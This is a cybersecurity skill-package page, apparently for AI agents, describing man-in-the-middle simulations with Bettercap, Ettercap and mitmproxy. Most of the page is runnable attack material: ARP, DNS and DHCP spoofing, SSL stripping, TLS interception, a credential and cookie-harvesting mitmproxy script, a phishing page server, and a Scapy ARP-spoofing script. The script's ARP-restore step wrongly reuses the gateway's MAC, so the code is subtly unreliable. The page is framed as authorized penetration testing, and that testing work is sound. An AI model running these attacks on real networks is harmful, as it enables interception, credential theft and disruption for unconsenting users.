network security

Conducting Man-in-the-Middle Attack Simulation

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

bettercapettercapmitmmitmproxynetwork-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • Testing whether applications properly validate TLS certificates and enforce encrypted communications
  • Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
  • Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
  • Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
  • Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

  • Written authorization specifying in-scope targets and approved MITM techniques
  • Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
  • Layer 2 access to the same network segment as target hosts
  • Custom CA certificate for TLS interception testing (generated specifically for the engagement)
  • Wireshark or tshark for capturing and verifying intercepted traffic
  • Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
 
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
 
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"
 
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0
 
# Enable network probing to discover hosts
> net.probe on
 
# Display discovered hosts
> net.show
 
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
 
# Start ARP spoofing
> arp.spoof on
 
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
 
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
 
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
 
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy

# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow
 
# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
 
# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json
 
def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")
 
def response(flow: http.HTTPFlow):
    # Log authentication cookies
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF
 
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

Step 4: Perform DNS Spoofing and DHCP Attacks

# DNS spoofing with Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirect target domain to attacker's web server
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF
 
sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//
 
# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on
 
# Set up a phishing page on the attacker machine
sudo python3 -m http.server 80 --directory /var/www/phishing/

Step 5: Validate Detection and Test Controls

# Verify certificate pinning is working on the target application
# If the app rejects the MITM CA, certificate pinning is effective
# Check the target machine for certificate errors
 
# Test HSTS enforcement
# If browser refuses HTTP connection after initial HTTPS, HSTS is working
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"
 
# Verify IDS detection of ARP spoofing
# Check Snort/Suricata alerts for ARP anomalies
grep -i "arp" /var/log/snort/alert_fast.txt
 
# Check if switch detected the attack (DAI logs)
# On Cisco switch: show ip arp inspection log
 
# Test network monitoring tools
# Verify that Zeek generated appropriate notices
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg
 
# Capture evidence of successful/failed interception
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300

Step 6: Clean Up and Document Results

# Stop all MITM attacks
# In Bettercap:
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit
 
# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
 
# Remove iptables rules
sudo iptables -t nat -F PREROUTING
 
# Verify ARP tables are restored on target hosts
# The target should re-learn correct MAC addresses via normal ARP
 
# Force ARP cache refresh (from target machine)
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1
 
# Remove test CA certificate from any systems where it was installed
# Remove capture files containing sensitive data per engagement agreement
 
# Generate documentation
echo "MITM Simulation completed at $(date)" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt

Key Concepts

Term Definition
Man-in-the-Middle (MITM) Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly
SSL Stripping Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption
HSTS (HTTP Strict Transport Security) Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections
Certificate Pinning Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates
ARP Cache Poisoning Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine
Transparent Proxy Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports

Tools & Systems

  • Bettercap 2.x: Swiss-army knife for network attacks supporting ARP/DNS/DHCP spoofing, HTTP/HTTPS proxying, and credential sniffing with a modular architecture
  • mitmproxy: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP/HTTPS traffic with Python scripting support
  • Ettercap: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation
  • sslstrip: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions
  • Wireshark: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts

Common Scenarios

Scenario: Testing HTTPS Enforcement on an Internal Web Application

Context: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0/24 VLAN.

Approach:

  1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)
  2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP
  3. Enable HTTPS interception with a test CA certificate to test certificate validation
  4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection
  5. Verify that HSTS headers are present and have appropriate max-age values
  6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload
  7. Recommend implementing certificate pinning in the thick client application

Pitfalls:

  • Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception
  • Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable
  • Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target
  • Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions

Output Format

## MITM Simulation Report
 
**Test ID**: MITM-2024-001
**Date**: 2024-03-15 14:00-16:00 UTC
**Target Application**: https://app.internal.corp (10.10.20.50)
**Test Workstation**: 10.10.1.100
**Attacker Machine**: 10.10.1.99
 
### Control Validation Results
 
| Control | Status | Details |
|---------|--------|---------|
| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |
| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |
| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome/Firefox |
| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |
| Cert Pinning (Browser) | N/A | Standard CA validation only |
| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |
| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |
 
### Recommendations
1. Implement certificate pinning in the thick client (high priority)
2. Add HSTS preload list submission for the domain
3. Enable DAI on access-layer switches for Layer 2 protection
4. Configure application to reject connections from non-pinned certificates
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.2 KB

API Reference: MITM Attack Simulation Agent

Overview

Simulates man-in-the-middle attacks using Scapy for ARP spoofing, detects cleartext protocol usage, and checks HSTS enforcement. For authorized penetration testing and lab environments only.

Dependencies

Package Version Purpose
scapy >=2.5 ARP spoofing, packet sniffing, host discovery
requests >=2.28 HSTS and SSL stripping checks

CLI Usage

# Host discovery and cleartext detection
python agent.py --network 192.168.1.0/24 --interface eth0 --duration 60
 
# Full MITM simulation
python agent.py --target 192.168.1.100 --gateway 192.168.1.1 --interface eth0

Key Functions

get_mac(ip_address)

Resolves MAC address for a given IP using ARP request via Scapy.

discover_hosts(network_cidr)

Discovers live hosts on a network segment using ARP broadcast scan.

arp_spoof(target_ip, spoof_ip, target_mac)

Sends a spoofed ARP reply to redirect traffic through the attacker machine.

arp_restore(target_ip, gateway_ip, target_mac, gateway_mac)

Restores original ARP tables by sending correct ARP replies after testing.

detect_cleartext_protocols(interface, duration)

Sniffs network traffic for cleartext protocols: HTTP (80), FTP (21), Telnet (23), SMTP (25), POP3 (110), IMAP (143).

check_hsts_enforcement(target_url)

Checks HTTP responses for Strict-Transport-Security headers.

run_mitm_simulation(target_ip, gateway_ip, interface, duration)

Executes a controlled ARP spoofing MITM simulation with automatic ARP restoration on completion.

Scapy Functions Used

Function Purpose
ARP() Create ARP request/reply packets
Ether() Create Ethernet frames
srp() Send and receive layer 2 packets
send() Send packets at layer 3
sniff() Capture network traffic

Cleartext Protocols Detected

Port Protocol Risk
80 HTTP Credential interception
21 FTP Cleartext authentication
23 Telnet Full session hijacking
25 SMTP Email interception
110 POP3 Email credential theft
143 IMAP Email credential theft

Scripts 1

agent.py6.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""MITM Attack Simulation Agent - Tests network defenses against ARP spoofing and traffic interception."""

import json
import logging
import argparse
import time
from datetime import datetime

from scapy.all import ARP, Ether, srp, send, sniff, IP, TCP

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def get_mac(ip_address):
    """Resolve MAC address for an IP using ARP request."""
    arp_request = ARP(pdst=ip_address)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = broadcast / arp_request
    answered, _ = srp(packet, timeout=3, verbose=False)
    if answered:
        return answered[0][1].hwsrc
    return None


def discover_hosts(network_cidr):
    """Discover live hosts on the network via ARP scan."""
    arp_request = ARP(pdst=network_cidr)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    answered, _ = srp(broadcast / arp_request, timeout=5, verbose=False)
    hosts = []
    for sent, received in answered:
        hosts.append({"ip": received.psrc, "mac": received.hwsrc})
    logger.info("Discovered %d hosts on %s", len(hosts), network_cidr)
    return hosts


def arp_spoof(target_ip, spoof_ip, target_mac):
    """Send ARP spoofing packet to redirect traffic."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)


def arp_restore(target_ip, gateway_ip, target_mac, gateway_mac):
    """Restore original ARP tables after test."""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
    send(packet, count=5, verbose=False)
    logger.info("ARP tables restored for %s", target_ip)


def detect_cleartext_protocols(interface, duration=30):
    """Sniff traffic for cleartext protocol usage (HTTP, FTP, Telnet, SMTP)."""
    cleartext_ports = {80: "HTTP", 21: "FTP", 23: "Telnet", 25: "SMTP", 110: "POP3", 143: "IMAP"}
    findings = []

    def packet_callback(pkt):
        if pkt.haslayer(TCP) and pkt.haslayer(IP):
            dport = pkt[TCP].dport
            sport = pkt[TCP].sport
            for port, proto in cleartext_ports.items():
                if dport == port or sport == port:
                    findings.append({
                        "protocol": proto,
                        "src": pkt[IP].src,
                        "dst": pkt[IP].dst,
                        "port": port,
                    })

    logger.info("Sniffing for cleartext protocols on %s for %ds", interface, duration)
    sniff(iface=interface, prn=packet_callback, timeout=duration, store=False)
    unique = {f"{f['protocol']}:{f['src']}:{f['dst']}" for f in findings}
    logger.info("Detected %d cleartext protocol flows", len(unique))
    return findings


def check_hsts_enforcement(target_url):
    """Check if a target enforces HSTS headers."""
    import requests
    try:
        resp = requests.get(target_url, timeout=10, verify=False)
        hsts = resp.headers.get("Strict-Transport-Security", "")
        return {
            "url": target_url,
            "hsts_present": bool(hsts),
            "hsts_value": hsts,
            "vulnerable": not bool(hsts),
        }
    except Exception as e:
        return {"url": target_url, "error": str(e)}


def test_ssl_stripping_potential(target_ip, gateway_ip):
    """Evaluate if SSL stripping is feasible by checking HSTS preload status."""
    import requests
    try:
        resp = requests.get(
            f"https://hstspreload.org/api/v2/status?domain={target_ip}",
            timeout=10,
        )
        if resp.status_code == 200:
            data = resp.json()
            return {
                "target": target_ip,
                "preloaded": data.get("status") == "preloaded",
                "ssl_strip_feasible": data.get("status") != "preloaded",
            }
    except Exception:
        pass
    return {"target": target_ip, "preloaded": False, "ssl_strip_feasible": True}


def run_mitm_simulation(target_ip, gateway_ip, interface, duration=30):
    """Run a controlled MITM simulation with ARP spoofing and cleartext detection."""
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)

    if not target_mac or not gateway_mac:
        logger.error("Could not resolve MAC addresses")
        return None

    logger.info("Starting MITM simulation: target=%s gateway=%s", target_ip, gateway_ip)
    results = {"target": target_ip, "gateway": gateway_ip, "target_mac": target_mac}

    try:
        for _ in range(duration):
            arp_spoof(target_ip, gateway_ip, target_mac)
            arp_spoof(gateway_ip, target_ip, gateway_mac)
            time.sleep(1)
    except KeyboardInterrupt:
        pass
    finally:
        arp_restore(target_ip, gateway_ip, target_mac, gateway_mac)
        arp_restore(gateway_ip, target_ip, gateway_mac, gateway_mac)

    results["status"] = "completed"
    return results


def generate_report(hosts, cleartext, hsts_results, simulation):
    """Generate MITM assessment report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "hosts_discovered": hosts,
        "cleartext_protocols": cleartext,
        "hsts_checks": hsts_results,
        "simulation_results": simulation,
    }
    print(json.dumps(report, indent=2))
    return report


def main():
    parser = argparse.ArgumentParser(description="MITM Attack Simulation Agent")
    parser.add_argument("--network", help="Network CIDR for host discovery (e.g., 192.168.1.0/24)")
    parser.add_argument("--target", help="Target IP for MITM simulation")
    parser.add_argument("--gateway", help="Gateway IP")
    parser.add_argument("--interface", default="eth0", help="Network interface")
    parser.add_argument("--duration", type=int, default=30, help="Sniff duration in seconds")
    parser.add_argument("--output", default="mitm_report.json")
    args = parser.parse_args()

    hosts = discover_hosts(args.network) if args.network else []
    cleartext = detect_cleartext_protocols(args.interface, args.duration)

    hsts_results = []
    simulation = None

    if args.target and args.gateway:
        simulation = run_mitm_simulation(args.target, args.gateway, args.interface, args.duration)

    report = generate_report(hosts, cleartext, hsts_results, simulation)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()
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